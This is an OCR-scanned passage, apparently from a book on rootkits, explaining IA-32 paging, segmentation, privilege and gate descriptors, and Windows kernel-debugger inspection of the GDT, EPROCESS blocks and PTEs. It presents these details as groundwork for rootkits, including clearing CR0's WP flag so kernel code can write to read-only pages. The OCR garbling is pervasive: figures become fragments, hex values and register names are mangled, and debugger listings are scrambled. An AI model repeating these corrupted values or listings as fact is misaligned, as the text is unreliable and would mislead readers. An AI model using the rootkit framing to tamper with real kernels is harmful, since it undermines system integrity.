Note that in Table 2-10, only the lowest order field (bits through 11) represents a byte offset into physical memory. The other two fields are merely
Port I
I 61
array indices that indicate relative position, not a byte offset into memory.
The third field (bits 22 through 31) specifies an entry in an array structure known as the page directory (see Figure 2-12). The entry is known as a page directory entry (PDE). The physical address (not the linear address) of the first byte of the page directory is stored in control register CR3. The CR3 register is also known as the page directory base register (PDBR).
Physkal Address Spaca
Address OxFFFFFFFfA
Address OxFFFFFFFF9
Addrus OxF FFFFFFF8
Address OllFFFFFFFF7
Address OxOOOOOO004
Address 0.000000003
Address 0.000000002
Address 0.000000001
Figure 2-12 Because the index field is 10 bits in size, a page directory can store at most 1,024 PDEs. Each PDE contains the base physical address (not the linear address) of a secondary array structure known as the page table. In other words, it stores the physical address of the first byte of the page table. The second field (bits 12 through 21) specifies a particular entry in the page table. The entries in the page table, arranged sequentially as an array, are known as page table entries (PTEs). Because the value we use to specify an index into the page table is lO bits in size, a page table can store at most 1,024PTEs. By looking at Figure 2-12, you may have guessed that each PTE stores the physical address of the first byte of a page of memory (note this is a physical address, not a linear address). Your guess would be correct. The first field (bits 0 through 11) is added to the physical base address provided by the PTE to yield the address of a byte in physical memory.
62
Part I
> Nole :
One point that bears repeating is that the base addresses involved in this address resolution process are all physical (i.e., the contents of CR3, the base address of the page table stored in the PDE, and the base address of the page stored in the PTE) . The li near address concept ha s a lrea dy broken down; we ha ve taken the one linear address given to us from the first phase and decomposed it into three parts, there are no other linear addresses for us to use.
Given that each page directory can have 1,024 PDEs and each page table can have 1,024 PTEs (each one referencing a 4 KB page of physical memory), this variation of the paging scheme, where we're limiting ourselves to 4 KB pages, can access 4 GB of physical memory (i.e., 1,024 x 1,024 x 4,096 bytes = 4 GB). If Physical Address Extension (PAE) facilities were enabled, we could expand the amount of physical memory to 64 GB. PAE essentially adds another data structure to the address translation process to augment the bookkeeping process. For the sake of keeping the discussion straightforward, PAE will not be covered in any depth.
The U/S flag defines two page-based privilege levels: User and Supervisor. If this flag is clear, then the page pointed to by the PTE (or the pages underneath a given PDE) are assigned Supervisor privileges. The R/ Wflag is used to indicate if a page, or a group of pages (if we're looking at a PDE), is read-only or writable. If the R/W flag is set, the page (or group of pages) can be written to as well as read.
Part I
163
1211
Avail G PS
A
Available for OS use Globa l Page (ignored ) Page size (0 indicates 4 KB pa ge size) Se t to Ie ro
Accessed {thi s page/page table has been accessed, e.g., read from or written to, when se t}
peo
PWT U/S
R/W P
Cache Di sa bled (whe n thi s flag is se t, thi s page/page tabl e ca nnot be cac hed) Write-throu gh (when thi s flag is se t, write-thr ough cac hin g is enabl ed for thi s page/page table ) Use r/Super visor (when thi s flag is clear. the page has supe rvisor privil eges) Read/Write (if this flelg is clear, the pages poin ted to by thi s en try are read-onl y)
Pre sen t (if thi s flag is se t, the 4 KB page/page table is curren tl y loade d Into mem ory)
12 11
G PAT
Global flag (helps prevent frequentl y accessed pages fro", bei ng flush ed fro m th e TL B) Pa ge Attribute Tab le Ind ex Dirty Bit (if se t, the page pointed to has been written to)
Figure 2-13
As stated earlier, the CR3 register stores the physical address of the first byte of the page directory table. If each process is given its own copy of CR3, as part of its scheduling context that the kernel maintains, then it would be possible for two processes to have the same linear address and yet have that linear address map to a different physical address for each process. This is due to the fact that each process will have its own page directory, such that they will be using separate accounting books to access memory (see Figure 2-14). This is a less obvious facet of memory protection: Give user apps their own ledgers (that the OS controls) so that they can't interfere with each other's business.
In addition to CR3, the other control register of note is CRe (see Figure 2-15). cRe's 16th bit is a wp flag (as in write protection). When the WP is set, supervisor-level code is not allowed to write into read-only user-level memory pages. While this mechanism facilitates the copy-on-write method of process creation (i.e., forking) traditionally used by UNIX systems, this is dangerous to use because it means that a rootkit might not be able to modify certain system data structures. The specifics of manipulating CRe will be revealed when the time comes.
1' -
64
Po rt I
22 121
12111
TlIblt:
Directory
12-bi t offse t
offset
I
Tab le Entry Page Table
Physical Address
4 KB Page
IO-bi. offse t
10-bi t~
Process A
rL
I CR3 (Proce .. A)
Given a common II near address (e g. Ox 11 223344) It can resolve to different phYSIC al address for each process (Different set of accountin g books used In each case)
I'
22 121
12111
Table
Directory
12-bit offse t
offset
I
Table Entr y Page Table
4 KB Page
I O-bit off,e.
1 0-bit~
rL
I CR3 (Proce.. B)
F igure 2-14
Aside
If you look at the structures in Figure 2-13, you may be wondering how a 20-bit base address field can specify an address in physical memory (after all, physical memory in our case is defined by 32 address lines). As in real mode, we solve this problem by assuming implicit zeroes such that a 20-bit base address like 0x12345 is actually 0x12345 [0] [0] [0] (or 0x12345000). This address value, without its implied zeroes, is sometimes referred to as a page frame number. Recall that a page frame is a region in physical memory where a page worth of memory is deposited. A page frame is a specific location and a page is more of a unit of measure. Hence, a page frame number is just the address of the page frame (minus the trailing zeroes).
Part I
165
Bit 31
CM
14 13
12 11 10 9
1 0
Bit 31
CR3
Page Dir ec tory Base Addr ess
1211
5 4
Bit 31
CR2
o
~
page fault
Bit 31
CRl
Rese rve d {i.e. , not used by Intel}
o
5432 10
31 30 29
18
16
eRO: PE flal - ena ble s protected mode when set Iset by OS when it makes the jump fro m real mode) CR4: PSE fl aC - ena bl e s l aq~er pare siz.s when set (2 or 4 MS, tbouth it thi s sort of thine: can incur 3 huCe performance co st) CR4: PAE flaC - when clear, re st rict s CPU to 32-bit physical add re ss sp3 ce, when set it a llo w s a 36--bit physical add ress space to be used
Figure 2-15
The remaining control registers are of passing interest. I've included them in Figure 2-15 merely to help you see where CRa and CR3 fit in. CRl is reserved, CR2 is used to handle page faults, and CR4 contains flags used to enable PAE and larger page sizes.
In this case, two Ring 0 segment descriptors are defined (in addition to the first segment descriptor, which is always empty), one for application code and another for application data. Both descriptors span the entire physical address range such that every process executes in Ring 0 and has access to all
66
Po rt I
memory. Protection is so poor that the processor won't even generate an exception if a program accesses memory that isn't there and an out-of-limit memory reference occurs.
l. os Segment Selector J I CS Segment Selec tor I
Flat Memorv Model Wl th out Protection Forth e code and data segment descnptors Segment Base Address IS OXOOOOOOOO Segment Size limit IS OxFFFFFFFF
(offset OxlO) (offset Ox08)
I
I
GDTR
GOT
f--
Figure 2-16
All of these checks will occur before the memory access cycle begins. If a violation occurs, a general-protection exception (often denoted by #GP) will be generated by the processor. Furthermore, there is no performance penalty associated with these checks as they occur in tandem with the address resolution process.
Limit Checks
Limit checks use the 20-bit limit field of the segment descriptor to ensure that
a program doesn't access memory that isn't there. The processor also uses the GDTR's size limit field to make sure that segment selectors do not access entries that lie outside of the GDT.
Port I
167
Type Checks
Type checks use the segment descriptor's 5 flag and Type field to make sure that a program isn't trying to access a memory segment in an inappropriate manner. For example, the C5 register can only be loaded with a selector for a code segment. Here's another example: No instruction can write into a code segment. A far call or far jump can only access the segment descriptor of another code segment or call gate. Finally, if a program tries to load the C5 or 55 segment registers with a selector that points to the first (i.e., empty) GDT entry (the null descriptor), a general-protection exception is generated.
Privilege Checks
Privilege-level checks are based on the four privilege levels that the IA-32
processor acknowledges. These privilege levels range from (denoting the highest degree of privilege) to 3 (denoting the least degree of privilege). These levels can be seen in terms of concentric rings of protection (see Figure 2-17), with the innermost ring, Ring 0, corresponding to the privilege level 0. In so many words, what privilege checks do is prevent a process running in an outer ring from arbitrarily accessing segments that exist inside an inner ring. ++--4~_111-- Most Privllele (OS Kernel) As with handing a person a loaded gun, mechanisms as Services must be put in place by the operating system to 2~~'Il~1I1i~-- least Prlvtleae (User Applicat ions) make sure that this sort of operation only occurs Figure 2-17 under carefully controlled circumstances. To implement privilege-level checks, three different privilege indicators are used: CPL, RPL, and DPL. The current privilege level (CPL) is essentially the RPL value of the selectors currently stored in the C5 and 55 registers of an executing process. The CPL of a program is normally the privilege level of the current code segment. The CPL can change when a far jump or far call is executed. Privilege-level checks are invoked when the segment selector associated with a segment descriptor is loaded into one of the processor's segment registers. This happens when a program attempts to access data in another code
68
Po rt I
segment or transfer program control by making an inter-segment jump. If the processor identifies a privilege level violation, a general-protection exception (#GP) occurs. To access data in another data segment, the selector for the data segment must be loaded into a stack-segment register (55) or data-segment register (e.g., DS, ES, FS, GS, or GS) . For program control to jump to another code segment, a segment selector for the destination code segment must be loaded into the code-segment register (CS). The Cs register cannot be modified explicitly, it can only be changed implicitly via instructions like JMP, CALL, RET, INT, IRET, SYSENTER, and SYSEXIT. When accessing data in another segment, the processor checks to make sure that the DPL is greater than or equal to both the RPL and the CPL. If this is the case, the processor will load the data-segment register with the segment selector of the data segment. Keep in mind that the process trying to access data in another segment has control over the RPL value of the segment selector for that data segment. When attempting to load the stack-segment register with a segment selector for a new stack segment, both the DPL of the stack segment and the RPL of the corresponding segment selector must match the CPL. When transferring control to a nonconforming code segment, the calling routine's CPL must be equal to the DPL of the destination segment (i.e., the privilege level must be the same on both sides of the fence) . In addition, the RPL of the segment selector corresponding to the destination code segment must be less than or equal to the CPL. When transferring control to a conforming code segment, the calling routine's CPL must be greater than or equal to the DPL of the destination segment (i.e., the DPL defines the lowest CPL value at which a calling routine may execute and still successfully make the jump). The RPL value for the segment selector of the destination segment is not checked in this case.
Restrided-Instrudion Checks
Restricted-instruction checks verify that a program isn't trying to use instructions that are restricted to a lower CPL value. The following is a sample listing of instructions that may only execute when the CPL is 0 (highest privilege level). Many of these instructions, like LGDT and LIDT, are used to build and maintain system data structures that user applications should not access. Other instructions are used to manage system events and perform actions that affect the machine as a whole.
Po rt I
I 69
Desmpllon Load value into GDTR register Load value into LDTR register Move a value into a control register Holt the processor Write to a model-specific register
Gate Descriptors
Now that we've surveyed basic privilege checks and the composition of the IDT, we can introduce gate descriptors. Gate descriptors offer a way for programs to access code segments possessing different privilege levels with a certain degree of control. Gate descriptors are also special in that they are system descriptors (the 5 flag in the segment descriptor is clear). We will look at three types of gate descriptors: Call-gate descriptors Interrupt-gate descriptors Trap-gate descriptors
These gate descriptors are identified by the encoding of their Type field (see Table 2-12).
Table 2-12 Bllil 0 0 0
1 1 1
Blll0
1 1 1
BI19 0
1 1
BI18 0 0 1 0 0
1
Gole Type 16-bit coli-gate descriptor 16-bit interrupt-gate descriptor 16-bit trap-gote descriptor 32-bit coli-gate descriptor 32-bit interrupt-gale descriptor 32-bil trap-gote descriplor
1 1
1
0 1
1
These gates can be 16-bit or 32-bit. For example, if a stack switch must occur as a result of a code segment jump, this determines whether the values to be pushed onto the new stack will be deposited using 16-bit pushes or 32-bit pushes.
Call-gate descriptors live in the GDT. The makeup of a call-gate descriptor is very similar to a segment descriptor with a few minor adjustments (see
70
Pa rt I
Figure 2-18). For example, instead of storing a 32-bit base linear address (like code or data segment descriptors), it stores a 16-bit segment selector and 32-bit offset address.
BOI
16
15
14 13
12
16
15
Segment Se lector
GOT
Descriptor
Descriptor
..........
..................
........
.......
............. ...........
..................
........
Pli vilege l e v ~ 1 required by the caller to invo ke the procedure Offset address to procedure ~ ntry Il oint in the segment S~g m e nt Present fl ag (norm allyalways l , e.g. , present ) Number of argum ents to co py be een stacks
Descriptor
r
Bit 47
Descriptor Descriptor
GDTR
16
15
Figure 2-18
The segment selector stored in the call-gate descriptor references a code segment descriptor in the GDT. The offset address in the call-gate descriptor is added to the base address in the code segment descriptor to specify the linear address of the routine in the destination code segment. The effective address of the original logical address is not used. So essentially what you have is a descriptor in the GDT pointing to another descriptor in the GDT, which then points to a code segment (see Figure 2-19). As far as privilege checks are concerned, when a program jumps to a new code segment using a call gate there are two conditions that must be met. First, the CPL of the program and the RPL of the segment selector for the call gate must both be less than or equal to the call-gate descriptor's DPL. In addition, the CPL of the program must be greater than or equal to the DPL of the destination code segment's DPL.
Po rt I
I 71
Se gm en t Des< ri ptor
Segmen t De scriptor
Segrn en t Descriptor
Code Segment
GOTR
Figure 2-19
B~l1
16
15
14 13
12
/1L-_o_f_se_t_b_~S_J_':_'6
Interrupt Descrip tor
BH1
_ _ _ _...
16
......... .
lOT
lOT Desc riptor 255
-----
.--.--._.ltlt~rr:Ot Descriptor Fields required by caller to invoke ISR DPl Privilege level
Offset P 0 Offse t a ddress to interrupt handling procedure Segm ent Present Hag (norm ally a lw ays 1 , e.g. , present) Size o f valu es pushe d on sta ck: 1 = 32 bits, 0 = 1 6 bits
.----.--------.-"
..---.--.-.
.---
--
.--.--.---
-_ ..---_..---
lOT Descriptor 2
r
IDTR
NOTE: lheSegme nt Selector re ferences a segm ent descriptor within the GOT, or an LOT, whi ch is then used to resolve the ISR's linear address
B~47
16
15
Figure 2-20
72
Port I
Interrupt-gate and trap-gate descriptors both store a segment selector and effective address. The segment selector specifies a code segment descriptor within the GDT. The effective address is added to the base address stored in the code segment descriptor to specify a handling routine for the interrupt/trap in linear address space. So, though they live in the IDT, both the interrupt-gate and trap-gate descriptors end up using entries in the GDT to specify code segments. The only real difference between interrupt-gate descriptors and trap-gate descriptors lies in how the processor manipulates the IF flag in the EF LAGS register. Specifically, when an interrupt handling routine is accessed using an interrupt-gate descriptor, the processor clears the IF flag. Trap gates, on the other hand, do not require the IF flag to be altered. With regard to privilege-level checks for interrupt and trap handling routines, the CPL of the program invoking the handling routine must be less than or equal to the DPL of the interrupt or trap gate. This condition only holds when the handling routine is invoked by software (e.g., the INT instruction). In addition, as with call gates, the DPL of the segment descriptor pointing to the handling routine's code segment must be less than or equal to the CPL.
The size limit might not be what you think it is. It's actually a byte offset from the base address of the IDT to the last entry in the table, such that an IDT with N entries will have its size limit set to (8(N-l . lf a vector beyond the size limit is referenced, the processor generates a general-protection (#GP) exception.
Part I
173
As in real mode, there are 256 interrupt vectors possible. In protected mode, the vectors 0 through 31 are reserved by the IA-32 processor for machinespecific exceptions and interrupts (see Table 2-13). The rest can be used to service user-defined interrupts.
Tobie 2-13
Vector 00
OJ
Code # DE # DB
DeScriptIOn Divide-by-zero error Debug exception (e.g., single-step, task-sw itch) NMI interrupt, nonmaskable external interrupt
02 03 04 05 06 07 08 09 OA OB OC 00 OE OF 10
11
# BP # DF # BR #UD # NM # DF
Breakpoint Overflow (e.g., arithmetic instructions) Bound range exceeded (i.e., signed array index is out of bounds) Invalid opcode No math coprocessor Double fault (i.e., CPU detects an exception while handling exception) Coprocessor segment overrun (Intel reserved; do not use) Invalid TSS (e.g., related to task switching) Segment not present (P flag in a descriptor is dear) Stack fault exception General protection exception Page fault exception Reserved by Intel x FPU error 87 Alignment check (i.e., detected an unaligned memory operand) Machine check (i.e., internal machine error, abandon ship!) SIMD floating-point exception Reserved by Intel
# TS # NP # SS # GP # PF
12 13 14-1F 20-FF
Interrupt
User-defined interrupts
741 Partl
overhead is incurred. If a violation of page-level check occurs, a page-fault exception (#PF) is emitted by the processor. Given that protected mode is an instance of the segmented memory model, segmentation is mandatory for IA-32 processors. Paging, however, is optional. Even if paging has been enabled, you can disable paging-level memory protection simply by clearing the WP flag in CRa in addition to setting both the R/W and U/S flags in each PDE and PTE. This makes all memory pages writeable, assigns all of them the user privilege level, and allows supervisor-level code to write to user-level pages that have been marked as read only.
If both segmentation and paging are used to implement memory protection, segment-based checks are performed first and then page checks are performed. Segment-based violations generate a general-protection exception (#GP), and paged-based violations generate a page-fault exception (#PF). Furthermore, segment-level protection settings cannot be overridden by page-level settings. For instance, setting the R/W bit in the page table corresponding to a page of memory in a code segment will not make the page writable.
When paging has been enabled, there are two different types of checks that the processor can perform: User/Supervisor mode checks (facilitated by U/S flag, bit 2) Page type checks (facilitated by R/W flag, bit 1)
The U/S and R/W flags exist both in PDEs and PTEs.
Table 2-14
Read-only
A correspondence exists between the CPL of a process and the U/S flag of the process's pages. If the current executing process has a CPL of 0, 1, or 2, it is in supervisor mode and the U/S flag should be clear. If the CPL of a process is 3, then it is in user mode and the U/S flag should be set. Code executing in supervisor mode can access every page of memory (with the exception of user-level read-only pages, if the WP register in CRa is set). Supervisor-mode pages are typically used to house the operating system and device drivers. Code executing in user-level code are limited to reading other user-level pages where the R/W flag is clear. User-level code can read and write to other user-level pages where the R/W flag has been set. User-level
Port I
175
programs cannot read or write to supervisor-level pages. User-mode pages are typically used to house user application code and data. Though segmentation is mandatory, it is possible to minimize the impact of segment-level protection and rely primarily on page-related facilities . Specifically, you could implement a flat segmentation model where the GDT consists of five entries: a null descriptor and two sets of code and data descriptors. One set of code and data descriptors will have a DPL of 0 and the other pair will have a DPL of 3 (see Figure 2-21). As with the bare bones flat memory model discussed in the section on segment-based protection, all descriptors begin at address exeeeeeeee and span the entire linear address space such that everyone shares the same space and there is effectively no segmentation.
Fl at Memory Model Paging Protecti on Only Forth e code and data segmen t descnptors Segment Base Addres 5 IS OXOOOOOOOO Segment Size Limit IS OxFFFFFFFF DPl 3, ollse t 0,20 DPl 3, ollse t Od8 DPl 0, ollse t OdO DPl 0, offse t 0, 08 offse t 0, 0
--to
GDTR
GOT
Figure 2-21
Summary
So there you have it. Memory protection for the IA-32 processor is implemented through segmentation and paging. Using segmentation, you can define memory segments that have precisely defined size limits, restrict the sort of information that they can store, and assign each segment a privilege level that governs what it can and cannot do (see Table 2-15). Paging offers the same sort of facilities, but on a finer level of granularity with fewer options (see Table 2-16). Using segmentation is mandatory, even if it means setting up a minimal scheme so that paging can be used. Paging, on the other hand, is optional.
76
Pc rt I
Table 2-15 Protection Mechanllm SegmentatIOn Construct ProtectIOn-R elated Componentl RPL field (bitl 0, 1) CPL field (bitl 0, 1) Segment limit, S flag, Type field, DPL field DPL field Array of legment and gate demiptorl Array of gate delcriptorl GDT lize limit field, privileged LGDT inltruction IDT lize limit field, privileged LIDT instruction Generated by procellar when legment check il violated
PE flag (bit 0), enablellegmentatian
Segment lelector
In the end, it all comes down to a handful of index tables that the operating system creates and populates with special data structures (see Figure 2-22). These data structures define both the layout of memory and the rules that the processor checks against when performing a memory access. If a rule is violated, the processor throws an exception and invokes a routine defined by the operating system to handle the event. What's the purpose, then, of wading through all of this when I could have just told you the short version? The truth is that even though the essence of memory protection on IA-32 processors can easily be summarized in a couple of sentences, the truly important parts (the parts relevant to rootkit implementation) reside in all of the little details that these technically loaded sentences represent.
Table 2-1 6 ProtectIOn Mechanllm Paging Construct Page directory entry (PDE) Page directory Page table entry (PTE) Page table
CR3 (PDBR) CRe control regiller
Protection-R elated Componentl U/S flag (bit 2) and the R/W flag (bit 1) Array of PDEI U/S flag (bit 2) and the R/W flag (bit 1) Array of PTEI
Po rt I
I 77
lOT
Interrupt Gate
Trap Gate
t-
Page Table
.........
PTE
I
Page
l
f
IDTR -
I
CR3( PDBR)
logical Address
clJ.- I
GOT
Segment Descriptor
I Segment Se le ctor
[
I
CRO tPE,PG, WPF1acsJ _
Segment Descriptor
GDTR
Figure 2-22
In the next chapter, we'll see how Vista uses the IA-32 hardware, to what extent, and why. Then we'll see what exactly defines the distinction between kernel mode and user mode. When we've accomplished that, we'll be ready to address the rootkit design decisions that started this whole quest.
78
Pa rt I
Chapter 3
01810018, 01101111, 01101111, 01110100, 01101011, 01101001, 01110100, 01110011, 001_, 01000011, 01001000, 00110011
79
variants, which ran on vendor-specific chipsets. The high end was owned by the likes of IBM and their mainframe line. Microsoft desperately wanted a foothold in this market, and the only way to do so was to demonstrate to corporate buyers that their OS ran on "grown-up" hardware.
Aside
To give you an idea of just how systemic this mindset can be, there've been instances where engineers from Intel found ways to substantially increase the performance of Microsoft applications, and the developers at Microsoft turned around and snubbed them. In Tim Jackson's book, Inside Intel, the author describes how the Intel engineers approached the application guys at Microsoft with an improvement that would allow Excel to run eight times faster. The response that Intel received: "People buy our applications because of the new features ."
Then again, as a developer there are valid reasons for distancing yourself from the hardware on which your code is running. Portability is a long-term strategic asset. In the software industry, dependency can be hazardous. If your hardware vendor, for whatever reason, takes a nosedive, you can rest assured that you'll be next in line. Furthermore, hardware vendors Gust like software vendors) can become pretentious if they realize that they're the only game in town. To protect itself, a software company has to be prepared to switch platforms, and this requires the product's architecture to accommodate this sort of change.
3.1
Physical Memory
To see the amount of physical memory installed on your machine's motherboard, open a command prompt and issue the following statement:
C:\>systeminfo : findstr "Total Physical Memory" Total Physical Memory: 1,023 MB Available Physical Memory : 740 MB
You can verify this result by rebooting your machine and observing the amount of RAM recognized by the BIOS setup program (the final authority on what is, and is not, installed in your rig). You can also right-click on the My Computer icon and select the Properties menu item to obtain the same sort of information.
80
Port I
Table 3-1
VersIOn Windows Vista Starter Windows Vista Home Basic Windows Vista Home Premium Windows Vista Business Windows Vista Enterprise Windows Vista Ultimate Windows Web Server 2008 Windows Server 2008 Standard Windows Server 2008 Enterprise Windows Server 2008 Datacenter Limit for 32-blt Hardw are 4 GB 4GB 4 GB 4 GB 4GB 4GB 4 GB 4GB 64 GB 64 GB Limit for 64-blt Hardw are Not available 8 GB 16 GB 128 GB 128 GB 128 GB 32 GB 32 GB 2TB 2TB
On older systems like Windows Server 2003, PAE can be enabled by using the /PAE switch in the boot. ini file.
[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(2)\WINDOWS [operating systems] multi(0)disk(0)rdiskC0)partition(2)\WINDOWS="Windows" /PAE
Po rt I
I 81
Hardware-enforced DEP can only function on machines where PAE has been enabled. On Vista and Windows Server 2008 machines, hardware-enforced DEP can be enabled using a bcdedi t. exe command:
Bcdedit /set nx AlwaysOn
On Windows Server 2003, hardware-enforced DEP can be enabled using the /noexecute switch in the boot. i ni file.
[boot loader] timeout=39 default=multi(9)disk(9)rdisk(9)partition(2)\WINDOWS [operating systems] multi(9)disk(9)rdisk(9)partition(2)\WINDOWS="Windows" / noexecute=alwayson
Keep in mind, these commands will also enable PAE if the operating system supports it.
82
Port I
an application that invokes AWE routines will need to have the "Lock Pages in Memory" privilege. Table 3-2
AWE Routine
Virt ualAllocO Virt ualAllocEx () Allo cateUserPhysicalPages() MapU serPhysicalPages() MapU serPhysicalPagesScatter() Free UserPhysicalPages()
DeScription Reserves a region in the linear address space of the calling process Reserves a region in the linear address space of the calling process Allocate pages of physical memory to be mapped to linear memory Map allocated pages of physical memory to linear memory Map allocated pages of physical memory to linear memory I Release physical memory allocated for use by AWE
Port I
I 83
running at the supervisor level (i.e., in kernel mode) or at the user level (i.e., in user mode). This distinction relies almost entirely on the U/S bit in the system's PDEs and PTEs.
>
Note: In the sections that follow, I use make frequent use of the Windows kernel debugger to illustrate concepts . If you're not already familiar with this tool, please skip ahead to the next chapter and read through the pertinent material.
Segmentation
System-wide segments are defined in the GDT. The base linear address of the GDT (i.e., the address of the first byte of the GDT) and its size (in bytes) are stored in the GDTR register. Using the kernel debugger in the context of a two-machine host-target setup, we can view the contents of the target machine's descriptor registers using the register command with the exlee mask:
kd> rM 9x109 gdtr=82439999 gdtl=93ff idtr=82439409 idtl=97ff tr=0928 Idtr=eeee
The first two entries (gdtr and gdtl) are what we're interested in. Note that the same task can be accomplished by specifying the GDTR components explicitly:
kd> r gdtr gdtr=8243eeee kd> r gdtl gdtl=eeeea3ff
From the resulting output we know that the GDT starts at address
ex8243eeee and is 1,023 bytes in size. This means that the Windows GDT
consists of approximately 127 segment descriptors, which is a paltry amount when you consider that the GDT is capable of storing up to 8,192 descriptors (less than 2% of the possible descriptors are specified). One way to view the contents of the GDT is simply to dump the contents of memory starting at ex8243eeee:
kd> d 8243eeee L3FF 8243eeee 09 09 09 09 82430919 ff ff 09 09 82430929 ff ff 09 09 82430939 28 21 09 78 82430949 ff ff 09 94 09 09 09 99 09 09 93 f3 93 f2 09 cf cf 49 09 09-ff 09-ff 09-ab 81-ff 09-09 ff ff 29 9f 09 09 09 09 09 09 09 09 be ee 09 09 09 13 fa 09 9b fb 8b f3 09 cf cf 09 49 09 09 09
sa
7f 09
84
Part I
The problem with this approach is that now we'll have to plow through all of this binary data and decode all of the fields by hand (hardly an enjoyable way to spend a Saturday afternoon). A more efficient approach is to use the debugger's dg command, which displays the segment descriptors corresponding to the segment selectors fed to the command.
kd> dg 9 3F8 P Si Gr Pr La Sel Base eeee eees 0019 0018 0029 0028 0039 0038 0049 0059 0058 0079 OOE8 OOF9 OOF8 eeeeeeee eeeeeeee eeeeeeee eeeeeeee eeeeeeee 8913beOO 81997800 7ffaeeee
eeeee400
Limit
Type
1 ze an es ng Flags 9 9 9 3 3 9 9 3 3 9 9 9 9 9 9 Nb Bg Bg Bg Bg Nb Bg Bg Nb Nb Nb Nb Nb Nb Nb By Pg Pg Pg Pg By By By By By By By By By By Np P P P P P P P P P P P P P P Nl Nl Nl Nl Nl Nl Nl Nl Nl Nl Nl Nl Nl Nl Nl eeeeeeee eeeeec9b eeeeec93 eeeeecfb eeeeecf3 eeeeeesb eeeee493 eeeee4f3 eeeeeef2 eeeeee89 eeeeee89 eeeeee92 eeeeee92 eeeeee98 eeeeee92
eeeeeeee <Reserved> ffffffff Code RE Ac ffffffff Data RW Ac ffffffff Code RE Ac ffffffff Data RW Ac eeee29ab TSS32 Busy eeee2128 Data RW Ac eeeeefff Data RW Ac eeeeffff Data RW eeeeee68 T5532 Avl eeeeee68 T5532 Avl eeeee3ff Data RW eeeeffff Data RW eeeee3b2 Code EO eeeeffff Data RW
One thing you might notice in the previous output is that the privilege of each descriptor (specified by the fifth column) is set to either Ring 0 or Ring 3. In this list of descriptors there are four that are particularly interesting:
P 51 Gr Pr La 5el Base eees 0019 0018 0029 eeeeeeee eeeeeeee eeeeeeee eeeeeeee Limit
ffffffff ffffffff ffffffff ffffffff
As you can see, these descriptors define code and data segments that all span the entire linear address space. Their base address starts at exeeeeeeee and stops at exFFFFFFFF. Both Ring 0 (operating system) and Ring 3 (user application) segments occupy the same region. In essence, there is no segmentation
Port I
I 85
This is exactly the scenario described in Chapter 2 where we saw how a minimal segmentation scheme (one which used only Ring 0 and Ring 3) allowed protection to be implemented through paging. Once again, we see that Windows isn't using all the bells and whistles afforded to it by the Intel hardware.
Paging
In Windows, each process is assigned its own CR3 control register value. Recall that this register stores the PFN of a page directory. Hence, each process has its own page directory. This CR3 value is stored in the DirectoryTableBase field of the process's KPROCESS structure, which is itself a substructure of the process's EPROCESS structure (if this sentence just flew over your head, don't worry, keep reading). When the Windows kernel performs a task switch, it loads CR3 with the value belonging to the process that has been selected to run. The following kernel-mode debugger extension command provides us with the list of every active process.
kd> !process 9 9
PROCESS 82b6ed99 SessionId: none Cid: eee4 Peb: eeeeeeee ParentCid:eeee DirBase: 99122eee ObjectTable: 86Beeeba HandleCount : 3SS. Image: System PROCESS 8389c239 SessionId: none Cid: 9179 Peb: 7ffd6eee ParentCid:eee4 DirBase : 13f78eee ObjectTable: 8943SS99 HandleCount: 28. Image: smss.exe PROCESS 83878928 SessionId: 9 Cid: 91ba Peb: 7ffdfee0 ParentCid: 91a4 DirBase: 1233Beee ObjectTable: 8943b9fe HandleCount: 421. Image: csrss . exe PROCESS 8327Sd99 SessionId: 9 Cid: 91dc Peb: 7ffd7eee ParentCid: 91a4 DirBase: 11S7bgee ObjectTable: 8cedab4B HandleCount: 9S. Image: wininit.exe
The! process command displays information about one or more processes. The first argument is typically either a process ID or the hexadecimal address of the EPROCESS block assigned to the process. If the first argument is zero, as in the case above, then information on all active processes is generated. The second argument specifies a 4-bit value that indicates how much information should be given (where exe provides the least amount of detail and exF provides the most details).
86
Port I
The field named DirBase represents the physical address to be stored in the CR3 register (e.g., DirBase = page directory base address). Other items of immediate interest are the PROCESS field, which is followed by the linear address of the corresponding EPROCESS structure, and the Cid field, which specifies the process ID (PID). Some kernel debugger commands take these values as arguments, and if you don't know what they are, the ! process e e command is one way to get them. During a live debugging session (i.e., you have a host machine monitoring a target machine via a kernel debugger) you can manually set the current process context using the. process meta-command followed by the address of an EPROCESS structure.
kd> . process 83275d99 Implicit process is now 83275d99
Each process in Windows is represented internally by a binary structure known as an executive process block (usually referred to as the EPROCESS block). This elaborate, heavily nested structure contains pointers to other salient substructures like the kernel process block (KPROCESS block) and the process environment block (PEB). As stated earlier, the KPROCESS block contains the base physical address of the page directory assigned to the process (the value to be placed in CR3), in addition to other information used by the kernel to perform scheduling at run time. The PEB contains information about the memory image of a process (e.g., its base linear address, the DLLs that it loads, the image's version, etc.). The EPROCESS and KPROCESS blocks can only be accessed by the operating system, whereas the PEB can be accessed by the process that it describes. To view the fields that these three structures store, you can use the following kernel debugger commands:
kd> dt nt'_EPROCESS kd> dt nt'_KPROCESS kd> dt nt'_PEB
If you'd like to see the actual literal values that populate one of these blocks for a process, you can issue the same command followed by the linear address of the block structure.
Port I
I 87
As stated earlier, the ! process e e extension command will provide you with the address of each EPROCESS block (in the PROCESS field).
kd> !process a a PROCESS 83275dge SessionId:a Cid: aldc Peb: 7ffd7ee0 ParentCid: ala4 DirBase: ll57beee ObjectTable: 8cedab48 HandleCount: 95. Image : wininit.exe
If you look closely, you'll see that the listing produced also contains a Peb field that specifies the linear address of the PES. This will allow you to see what's in a given PES structure.
Kd> dt nt!yeb 7ffd7ee0
If you'd rather view a human-readable summary of the PES, you can issue the! peb kernel-mode debugger extension command followed by the linear address of the PES.
Kd> ! peb 7ffd7ee0
If you read through a dump of the EPROCESS structure, you'll see that the KPROCESS substructure just happens to be the first element of the EPROCESS block. Thus, its linear address is the same as the linear address of the EPROCESS block.
kd> dt nt!_kprocess 83275dge
An alternative approach to dumping KPROCESS and PES structures explicitly is to use the recursive switch ( - r) to view the values that populate all of the substructures nested underneath an EPROCESS block.
kd> dt -r nt!_eprocess 83275dge
The ! pte kernel-mode debugger extension command is a very useful tool for viewing both the PDE and PTE associated with a particular linear address. This command accepts a linear address as an argument and prints out a four-line summary:
kd >!pte 3eeel VA eee3eeel POE at ce3eeeee PTE at ceeeeece contains lBEe2867 contains 00ACF847 pfn lbee2 ---OA--lJNEV pfn acf ---O---lJNEV
88
Po rt I
This output contains everything we need to intuit how Windows implements memory protection through the paging facilities provided by the IA-32 processor. Let's step through this one line at a time.
VA 00030001
